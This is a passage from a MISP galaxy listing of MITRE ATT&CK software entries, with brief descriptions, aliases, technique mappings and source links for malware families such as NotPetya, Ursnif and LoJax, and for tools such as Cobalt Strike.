https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader
https://blog.talosintelligence.com/2019/01/return-of-emotet.html
https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf
https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/
https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html
https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/

HOPLIGHT - S0376

[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)

The tag is: misp-galaxy:mitre-malware="HOPLIGHT - S0376"

HOPLIGHT - S0376 is also known as:

HOPLIGHT

HOPLIGHT - S0376 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 3402. Table References
Links
https://attack.mitre.org/software/S0376
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A

NotPetya - S0368

[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)

The tag is: misp-galaxy:mitre-malware="NotPetya - S0368"

NotPetya - S0368 is also known as:

NotPetya
GoldenEye
Petrwrap
Nyetya

NotPetya - S0368 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 3403. Table References
Links
https://attack.mitre.org/software/S0368
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://www.us-cert.gov/ncas/alerts/TA17-181A

Ursnif - S0386

[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)

The tag is: misp-galaxy:mitre-malware="Ursnif - S0386"

Ursnif - S0386 is also known as:

Ursnif
Gozi-ISFB
PE_URSNIF
Dreambot

Ursnif - S0386 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3404. Table References
Links
https://attack.mitre.org/software/S0386
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html

EvilBunny - S0396

[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)

The tag is: misp-galaxy:mitre-malware="EvilBunny - S0396"

EvilBunny - S0396 is also known as:

EvilBunny

EvilBunny - S0396 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 3405. Table References
Links
https://attack.mitre.org/software/S0396
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/

CoinTicker - S0369

[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)

The tag is: misp-galaxy:mitre-malware="CoinTicker - S0369"

CoinTicker - S0369 is also known as:

CoinTicker

CoinTicker - S0369 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 3406. Table References
Links
https://attack.mitre.org/software/S0369
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/

Ebury - S0377

[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)

The tag is: misp-galaxy:mitre-malware="Ebury - S0377"

Ebury - S0377 is also known as:

Ebury

Ebury - S0377 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3407. Table References
Links
https://attack.mitre.org/software/S0377
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/

KeyBoy - S0387

[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)

The tag is: misp-galaxy:mitre-malware="KeyBoy - S0387"

KeyBoy - S0387 is also known as:

KeyBoy

KeyBoy - S0387 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3408. Table References
Links
https://attack.mitre.org/software/S0387
https://citizenlab.ca/2016/11/parliament-keyboy/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/

LoJax - S0397

[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)

The tag is: misp-galaxy:mitre-malware="LoJax - S0397"

LoJax - S0397 is also known as:

LoJax

LoJax - S0397 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3409. Table References
Links
https://attack.mitre.org/software/S0397
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf

Yahoyah - S0388

Yahoyah is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)

The tag is: misp-galaxy:mitre-malware="Yahoyah - S0388"

Yahoyah - S0388 is also known as:

Yahoyah

Yahoyah - S0388 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3410. Table References
Links
https://attack.mitre.org/software/S0388
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf

HyperBro - S0398

[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)

The tag is: misp-galaxy:mitre-malware="HyperBro - S0398"

HyperBro - S0398 is also known as:

HyperBro

HyperBro - S0398 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"

Table 3411. Table References
Links
https://attack.mitre.org/software/S0398
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html

JCry - S0389

[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)

The tag is: misp-galaxy:mitre-malware="JCry - S0389"

JCry - S0389 is also known as:

JCry

JCry - S0389 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 3412. Table References
Links
https://attack.mitre.org/software/S0389
https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/

Pallas - S0399

[Pallas](https://attack.mitre.org/software/S0399) is mobile surveillanceware that was custom-developed by [Dark Caracal](https://attack.mitre.org/groups/G0070).(Citation: Lookout Dark Caracal Jan 2018)

The tag is: misp-galaxy:mitre-malware="Pallas - S0399"

Pallas - S0399 is also known as:

Pallas

Pallas - S0399 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 3413. Table References
Links
https://attack.mitre.org/software/S0399
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Tool

Name of ATT&CK software.

Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: MITRE

Windows Credential Editor - S0005

[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)

The tag is: misp-galaxy:mitre-tool="Windows Credential Editor - S0005"

Windows Credential Editor - S0005 is also known as:

Windows Credential Editor
WCE

Windows Credential Editor - S0005 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3414. Table References
Links
https://attack.mitre.org/software/S0005
http://www.ampliasecurity.com/research/wcefaq.html

Pass-The-Hash Toolkit - S0122

[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122"

Pass-The-Hash Toolkit - S0122 is also known as:

Pass-The-Hash Toolkit

Pass-The-Hash Toolkit - S0122 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

Table 3415. Table References
Links
https://attack.mitre.org/software/S0122
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Cobalt Strike - S0154

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)

The tag is: misp-galaxy:mitre-tool="Cobalt Strike - S0154"

Cobalt Strike - S0154 is also known as:

Cobalt Strike

Cobalt Strike - S0154 has relationships with:

similar: misp-galaxy:rat="Cobalt Strike" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
